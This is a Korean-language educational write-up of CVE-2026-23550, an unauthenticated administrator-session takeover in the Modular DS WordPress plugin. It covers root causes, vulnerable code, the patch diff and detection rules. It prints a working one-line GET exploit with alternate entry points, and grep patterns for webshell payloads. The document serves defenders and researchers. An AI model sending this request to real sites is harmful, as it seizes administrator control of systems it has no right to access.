
CVE-2026-23550에 대한 교육용 문서와 PoC입니다. 이 취약점은 Modular DS WordPress 플러그인에서 발생하는 인증되지 않은 관리자 세션 탈취의 심각한 문제입니다. 근본 원인 분석, 소스 코드 분석, 패치 차이점 및 탐지 가이드를 포함합니다.
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ╚════██╗╚════██╗██╔════╝ ██╔════╝██╔═████╗
██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ █████╔╝ █████╔╝███████╗ ███████╗██║██╔██║
██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗ ╚═══██╗ ╚═══██╗╚════██║ ╚════██║████╔╝██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝ ██████╔╝██████╔╝███████║ ███████║╚██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚══════╝ ╚═════╝
근본 원인 분석 · 소스 코드 분석 · 패치 차이 · 교육용 PoC
작성자: Beelze ( zeroday 1diot9 )
Modular DS (
modular-connector)는 40,000개 이상의 활성 설치를 보유한 WordPress 사이트 관리 플러그인입니다. ≤ 2.5.1 버전은 다섯 가지 결함이 연쇄적으로 작용하여 인증되지 않은 모든 공격자가 인증을 우회하고, 플러그인의 내부 로그인 엔드포인트를 호출하여 첫 번째 관리자 계정에 대한wordpress_logged_in_*세션 쿠키를 단일 HTTP GET 요청으로 획득할 수 있습니다.
GET /api/modular-connector/login/x?origin=mo&type=x HTTP/1.1
Host: victim.tld
→ HTTP/1.1 302 Found
Location: /wp-admin/index.php
Set-Cookie: wordpress_logged_in_<hash>=...
결과: 전체 관리자 권한 탈취. 공격자는 악성 플러그인 설치, 웹쉘 배포, 백업 관리자 계정 생성, 데이터베이스 유출 등을 수행할 수 있습니다.
이 취약점은 플러그인에 내장된 커스텀 Laravel 기반 라우터를 트리거합니다. 플러그인은 WordPress의 parse_request 액션에 훅을 거는 자체 HTTP 커널(Ares/Framework)을 탑재하여 WordPress 자체 라우팅보다 먼저 요청을 가로챕니다.
전제 조건: 없음 (플러그인이 설치 및 활성화되어 있고 Modular SaaS에 연결된 상태 — 모든 실제 설치의 기본값).
진입점 (하나만 있으면 충분):
/api/modular-connector/login/<any>?origin=mo&type=<any>
/?rest_route=/api/modular-connector/login/<any>&origin=mo&type=<any>
/index.php?rest_route=/api/modular-connector/login/<any>&origin=mo&type=<any>
/wp-load.php?origin=mo&type=<any>
이 취약점은 단일 결함이 아닌 다섯 가지 결함이 연쇄적으로 쌓인 것입니다. 각 계층을 개별적으로 보면 방어 가능해 보일 수 있지만, 결합되면 인증 전 관리자 권한 탈취로 이어집니다.
flowchart TB
A["🌐 Attacker Request<br/>?origin=mo&type=x"] --> B["① HttpUtils::isDirectRequest()<br/>Gate opens on query params alone"]
B --> C["② Router::findRoute()<br/>URL implicitly resolved to /login route"]
C --> D["③ bindOldRoutes() filter<br/>Falls through on unknown type"]
D --> E["④ ModularGuard::check()<br/>Validates server OAuth, NOT request"]
E --> F["⑤ AuthController::getLogin()<br/>Falls back to first admin user"]
F --> G["🔑 Set-Cookie: wordpress_logged_in_*<br/>Attacker = Admin"]
style A fill:#ff4444,stroke:#000,color:#fff
style G fill:#00cc44,stroke:#000,color:#fff
style B fill:#ff8888,stroke:#000
style C fill:#ffaa66,stroke:#000
style D fill:#ffcc44,stroke:#000
style E fill:#ff8888,stroke:#000
style F fill:#ff4444,stroke:#000,color:#fff
HttpUtils::isDirectRequest()파일: vendor/ares/framework/src/Foundation/Http/HttpUtils.php:64
public static function isDirectRequest(): bool
{
$request = app('request');
$userAgent = $request->header('User-Agent');
$userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
$originQuery = $request->has('origin') && $request->get('origin') === 'mo';
$isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');
if ($isFromQuery) {
return true; // ⚠️ 쿼리 매개변수만으로 확인, 서명 없음
}
return false;
}
문제점: "직접 요청" 모드는 Modular SaaS 백엔드의 합법적인 호출을 식별하기 위한 것으로, HMAC, JWT, 서명된 논스, IP 허용 목록 없이 일반 텍스트 쿼리 매개변수에 의해 제어됩니다. 모든 공격자가 이 스위치를 켤 수 있습니다.
Router::findRoute()파일: vendor/ares/framework/src/Foundation/Routing/Router.php:20
protected function findRoute($request)
{
$this->current = $route = apply_filters(
'ares/routes/match',
$this->routes->match($request), // ⚠️ 필터 실행 전에 URL이 경로로 해석됨
true
);
$route->setContainer($this->container);
$this->container->instance(Route::class, $route);
return $route;
}
문제점: Laravel의 routes->match($request)는 보안 필터가 실행되기 전에 /api/modular-connector/login/xxx를 login 경로(인증 보호됨)로 해석합니다. 필터는 이 경로를 입력으로 받아 경로가 부적합함을 증명해야 하는 부담을 가지며, 명시적으로 승인하는 것이 아닙니다.
bindOldRoutes()파일: src/app/Providers/RouteServiceProvider.php:46
public function bindOldRoutes($route, $removeQuery = false)
{
if (!HttpUtils::isDirectRequest()) return $route;
$request = request();
$type = $request->header('x-mo-type', $request->get('type'));
if ($type === 'request') { /* 서명된 OAuth 호출로 재바인딩 */ }
if ($type === 'oauth') { /* /oauth 핸들러로 재바인딩 */ }
if ($type === 'lb') { /* /schedule/run으로 재바인딩 */ }
return $route; // ⚠️ 알 수 없는 type → URL에서 가져온 경로가 그대로 남음
}
문제점: 필터는 type이 세 가지 알려진 값 중 하나일 때만 경로를 재정의합니다. type이 임의의 값(x, foo, 비어 있음)일 때는 통과되어 URL에서 해석된 경로를 변경하지 않고 반환합니다. URL 기반 경로 login은 문서상으로는 인증 보호되었지만 미들웨어 평가 단계로 진행됩니다.
ModularGuard::check()파일: vendor/ares/framework/src/Foundation/Auth/ModularGuard.php:16
public function check()
{
return !is_null($this->user());
}
public function user()
{
$client = OauthClient::getClient();
try {
$client->validateOrRenewAccessToken(); // ⚠️ 서버 상태 확인
$this->user = ['id' => $client->getClientId()];
} catch (\Throwable $e) {
return null;
}
return $this->user;
}
문제점: 커스텀 modular 가드는 들어오는 요청 신원을 전혀 검증하지 않습니다. 플러그인 자체가 Modular SaaS와 유효한 OAuth 세션을 유지하는지만 확인합니다. 거의 모든 설치가 연결되어 있으므로(그렇지 않으면 플러그인이 무용지물), 가드는 해당 가드에 도달하는 모든 요청에 대해 true를 반환합니다.
이것이 핵심 결함입니다. ①~③이 수정되더라도 이 손상된 가드만으로도 auth 미들웨어 그룹의 모든 경로에 대한 무단 접근이 여전히 허용됩니다.
AuthController::getLogin()파일: src/app/Http/Controllers/AuthController.php:66
public function getLogin(SiteRequest $modularRequest)
{
$user = data_get($modularRequest->body, 'id'); // null — 바인딩이 채워지지 않음
if (!empty($user)) {
$user = get_user_by('id', $user);
}
if (empty($user)) {
Cache::driver('wordpress')->forget('user.login');
$user = ServerSetup::getAdminUser(); // 💣 사이트의 첫 번째 관리자
}
$cookies = ServerSetup::loginAs($user, true); // 💣 WP 세션 쿠키 발급
return Response::redirectTo(admin_url('index.php'))->withCookies($cookies);
}
문제점: SiteRequest 경로-모델 바인딩은 필터 체인에서 type === 'request'인 경우에만 채워집니다. 알 수 없는 type의 경우 $modularRequest가 빈 객체로 컨트롤러에 도달합니다. 컨트롤러는 조용히 첫 번째 관리자 사용자로 대체하고 해당 사용자에 대한 WordPress 로그인 쿠키를 발급합니다. 누구나 정문으로 들어올 수 있습니다.
━━━ vendor/ares/framework/src/Foundation/Routing/Router.php ━━━
- $route = apply_filters('ares/routes/match', $this->routes->match($request), true);
+ $route = apply_filters('ares/routes/match', true);
━━━ src/app/Providers/RouteServiceProvider.php ━━━
- public function bindOldRoutes($route, $removeQuery = false)
- {
- if (!HttpUtils::isDirectRequest()) return $route;
+ public function bindOldRoutes($removeQuery = false)
+ {
+ $routes = app('router')->getRoutes();
+ $route = $routes->getByName('default'); // 👈 항상 404 경로에서 시작
+ $route->bind(request());
+ if (!HttpUtils::isDirectRequest()) return $route;
━━━ src/routes/api.php ━━━
+ Route::get('default/{request}', function () {
+ abort(404);
+ })->name('default');
수정은 묵시적 URL→경로 해석을 완전히 제거합니다. 이제 필터는 abort(404)로 하드와이어된 default 경로에서 시작하여 type이 명시적으로 허용된 세 가지 값 중 하나일 때만 실제 컨트롤러에 재바인딩합니다. 새로운 로직에서 type=x는 404를 생성합니다. 요청이 로그인 컨트롤러에 도달하지 않으며, 손상된 가드가 열려서 실패할 대상이 없습니다.
이는 사후에 적용된 심층 방어입니다. ModularGuard::check()는 구조적으로 여전히 취약하지만, 이제 인증 보호 경로에 대한 접근 체인이 차단되었습니다.
modular-connector >= 2.5.2로 업그레이드 — 필수.업그레이드 후, 플러그인이 ≤ 2.5.1이고 2026-01-13 이후 인터넷에 노출된 경우 침해를 가정하세요. 다음을 확인하십시오:
# 1. 승인되지 않은 관리자 계정
wp user list --role=administrator --fields=ID,user_login,user_email,user_registered
# 2. 2026-01-13 이후 설치된 의심스러운 플러그인
find wp-content/plugins/ -type d -newer /tmp/marker-jan13
# 3. 최근 수정된 핵심 파일
find wp-includes/ wp-admin/ -type f -mtime -30
# 4. 웹쉘 (공통적으로 악용 후 배포되는 페이로드)
grep -rEn '(eval\(base64_decode|assert\(\$_|passthru\(\$_|preg_replace.*/e)' wp-content/
GET /api/modular-connector/login/[^\s]+\?origin=mo&type=[^\s]+
GET /?rest_route=/api/modular-connector/login[^\s]+origin=mo
SecRule REQUEST_URI "@rx /api/modular-connector/login" \
"id:2026023550,phase:1,deny,status:403,log,\
msg:'CVE-2026-23550 exploit attempt (Modular DS)'"
SecRule ARGS:origin "@streq mo" \
"chain,id:2026023551,phase:1,deny,status:403,log,\
msg:'CVE-2026-23550 direct-request bypass attempt'"
SecRule ARGS:type "@rx .+"
Beelze · zeroday 1diot9
고급 CVE 연구원 · 취약점 분석가 · PoC 개발자
이 저장소는 엄격히 교육 및 방어 연구 목적으로만 게시됩니다.
이 취약점은 공개적으로 공개되었으며(CVE-2026-23550), 공급업체에서 패치(
modular-connector 2.5.2)를 제공했으며, 주류 보안 언론에서 상세히 다루고 있습니다. 이 분석은 방어자가 근본 원인을 이해하고, 개발자가 실제 인증 설계 실패에서 배우며, 연구자가 연쇄 결함 패턴을 연구할 수 있도록 작성되었습니다.소유하지 않았거나 명시적인 서면 승인 없이 테스트할 수 없는 시스템에 포함된 PoC 스크립트를 실행하지 마십시오. 컴퓨터 시스템에 대한 무단 접근은 사실상 모든 관할권(CFAA · Computer Misuse Act · ITE Law 등)에서 불법입니다.
작성자는 오용에 대해 어떠한 책임도 지지 않습니다. 사용 사례가 승인된 것인지 확실하지 않다면 승인되지 않은 것입니다.
보안 연구 커뮤니티를 위해 🎯로 제작되었습니다.
도움이 되셨다면 ⭐ 스타를 눌러주세요.
| 필드 | 값 |
|---|
| 플러그인 이름 | Modular DS |
| 슬러그 | modular-connector |
| 취약 버전 | <= 2.5.1 |
| 패치 버전 | 2.5.2 |
| 활성 설치 수 | ~40,000 |
| CVSS v3.1 | 10.0 / CRITICAL (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| CWE | CWE-287 · CWE-306 · CWE-863 |
| OWASP | A07 — 식별 및 인증 실패 |
| # | 계층 | 파일 | 근본 원인 |
|---|
| ① | 부트스트랩 게이트 | HttpUtils.php:64 | 암호화/논스 없는 쿼리 전용 origin=mo 검사 |
| ② | URL→경로 매처 | Router.php:20 | 묵시적 URL 해석이 곧바로 필터로 전달됨 |
| ③ | 경로 재정의 필터 | RouteServiceProvider.php:46 | 알 수 없는 type이 원래 경로를 그대로 유지하며 통과 |
| ④ | 인증 가드 | ModularGuard.php:16 | 요청 신원이 아닌 서버 측 OAuth 상태 검증 |
| ⑤ | 로그인 컨트롤러 | AuthController.php:66 | 입력 누락 시 getAdminUser()로 자동 대체 |
| 날짜 | 이벤트 |
|---|
| 2026-01-XX | 공급업체에서 2.5.2를 조용한 보안 패치로 출시 |
| 2026-01-13 ~02:00 UTC | 실제 환경에서 최초 악용 관찰 |
| 2026-01-13 | Patchstack 권고 발행 · CVE-2026-23550 할당 |
| 2026-01-14 | The Hacker News, BleepingComputer, Security Affairs 보도 |
| 2026-07-05 | 본 교육용 분석 문서 게시 |